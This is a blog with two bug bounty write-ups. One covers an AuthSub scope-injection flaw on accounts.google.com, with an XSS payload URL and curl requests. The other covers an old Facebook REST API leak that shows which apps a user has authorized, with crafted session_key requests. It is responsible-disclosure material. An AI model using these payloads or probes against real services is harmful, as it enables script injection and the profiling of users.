Monday, 22 September 2014

Bounty leftover Part #2 (target Google)

In my previous blog post I mentioned a following post about some vulnerability I found in https://accounts.google.com/.
As said, motivated from my little success that I got finding a vulnerability in some obsolete authorization service in Facebook I thought I might have the same luck with Google :)
Well it turned out this was the case...
Giving a look at the Older Protocols in the Google Accounts Authentication and Authorization page something that immediately caught my attention was the AuthSub (deprecated) flow.
Now, I am not going to describe here the flow, it is enough saying that it is a pre-OAuth flow that Google used to give some access delegation using some sort of tokens...
The problem was related with the scope parameter in www.google.com/accounts/AuthSubRequest. It accepted concatenation of string after a valid scope. 
E.g. 

https://accounts.google.com/AuthSubRequest?next=http%3A%2F%2Flocalhost%3A8080%2Fa&scope=http%3A%2F%2Fwww.google.com%2Fcalendar%2Ffeeds%2F/%3Cscript%3Ealert%28%27hello%27%29%3C/script%3E&session=1&secure=0&hd=default

So far so good.
The next natural step would have been to use the https://developers.google.com/accounts/docs/AuthSub#AuthSubTokenInfo to get the scope back with the given stored javascript.
At a first sigh this looked like unexploitable since as per doc this would require a request header, namely 

curl -H "Authorization:AuthSub token="1/XD7eCi3_
2mXSfDHXLtImg0Oc1nDoZCFKL4dLrqzVYVk"" -H "application/x-www-form-urlencoded" https://www.google.com/accounts/AuthSubTokenInfo

The reality though was that it existed also another version of the service that accepts request parameter (and the cherry on top was that this service also runs in https://accounts.google.com that is the most rewarded according to https://www.google.ch/about/appsecurity/reward-program/).

So

curl -v https://accounts.google.com/accounts/AuthSubTokenInfo?oauth_token=1/BWAFgricOqhNMPTcHsPy0MRlKbMWE-HNMjlLtT0NNPA

> User-Agent: curl/7.30.0

> Host: www.google.com

> Accept: */*

>

< HTTP/1.1 200 OK

< Content-Type: text/plain; charset=UTF-8

< X-Frame-Options: DENY

< Date: Thu, 07 Aug 2014 20:10:51 GMT

< Expires: Thu, 07 Aug 2014 20:10:51 GMT

< Cache-Control: private, max-age=0

< X-Content-Type-Options: nosniff

< X-XSS-Protection: 1; mode=block

< Content-Length: 106

< * Server GSE is not blacklisted

< Server: GSE

< Alternate-Protocol: 443:quic

<

Target=localhost

Secure=false

Scope=http://www.google.com/calendar/feeds//<script>alert('hello')</script>


Some observations:

  • the scope is not sanitized (so he can lead to a XSS ) but
  • no sniff is present
  • Content Type is text/plain
To conclude this is the attack scenario


Once reported Google fixed it pretty soon and also got a reward for it... Not bad for a left over :p

Thanks Google security.

Friday, 5 September 2014

Bounty leftover Part #1

One of the most important thing of anyone keen about security is to keep up to date with what is going on...
Hence I have a good collection of rss feed security's related.
One post that caught my attention a couple of months ago was this one from Stephen Sclafani. In a nutshell he was able to get a more than decent bounty of 20000$ exploiting some old Facebook API that is the precursor of Facebook's OAuth implementation.
Since I am a curious person I decided to give a look at these old APIs just to see the evolution of security over time. I was not hoping to find anything interesting under the bounty point of view since Stephen had found them all (he even did a second blog post collecting another 20000$!!).
Well, indeed I was right until some extent. I haven't found anything interesting under the security point of view (strictly speaking) nevertheless I was able to find a minor security issue (Information disclosure) that got rewarded by Facebook with a bounty... :)
Indeed http://api.facebook.com/restserver.php leaked some information about if a specific user has some application (https://developers.facebook.com/apps) installed or not.
Let's assume for example I would like to know if Mark Zuckerberg has some application installed or not. All I needed to know is the user id of Mark Zuckerberg and the app id.
Both those information are easily to get and kind of public.
The user id of Mark Zuckerberg is 4.
Now let's try to test if he has on of my application installed (Of course I would not have :)). The app id of my application is 213814055461514.
This information was easily reachable using the endpoint http://api.facebook.com/restserver.php.
To make a call an application makes a GET or POST request to the REST API endpoint:

POST https://api.facebook.com/restserver.php

method={METHOD}&api_key={API_KEY}&session_key={SESSION_KEY}&...&sig={SIGNATURE}

Now for our scenario we can ignore the parameter sig and focus on the session_key.
This is indeed (also, probably for backward compatibility) on the form -USER_ID

So If I tried to do

https://api.facebook.com/restserver.php?api_key=213814055461514&session_key=RANDOMDATA-4&method=bookmarks.get

I got back

<error_response xsi:schemaLocation="http://api.facebook.com/1.0/ http://api.facebook.com/1.0/facebook.xsd"><error_code>102</error_code><error_msg>The user has not authorized application 213814055461514.</error_msg><request_args list="true"><arg><key>api_key</key><value>213814055461514</value></arg><arg><key>session_key</key><value>RANDOMDATA-4</value></arg><arg><key>method</key><value>bookmarks.get</value></arg></request_args></error_response>


This of course proof the fact Mark Zuckenberg doesn't have this installed.
Let's see if I do have this installed (of course I do :)). My user id is 631367016.

So https://api.facebook.com/restserver.php?api_key=213814055461514&session_key=RANDOMDATA-631367016&method=bookmarks.get

result was

<error_response xsi:schemaLocation="http://api.facebook.com/1.0/ http://api.facebook.com/1.0/facebook.xsd"><error_code>102</error_code><error_msg>The session has been invalidated because the user has changed the password.</error_msg><request_args list="true"><arg><key>api_key</key><value>213814055461514</value></arg><arg><key>session_key</key><value>RANDOMDATA-631367016</value></arg><arg><key>method</key><value>bookmarks.get</value></arg></request_args></error_response>

So this tells me I have this application installed.
This worked for any user_Id / app_id combination.
Now as Egor Homakov showed sometime ago (using a different technique based on using Content-Security-Policy for evil) using 100-500 most popular Facebook clients we can build sort of user's fingerprint: what apps you authorize and what websites you frequently visit.As mentioned Facebook rewarded me for this and I am once more in the Facebook white hat page
Given the success of this I have decided to give a look to the way Google used to authorize applications on a pre-OAuth world and guess what ? :) I found an issue also there and Google also rewarded me. But I am afraid (since Google did not completely fix the issue) you have to wait for my next post Bounty leftover Part #2 :)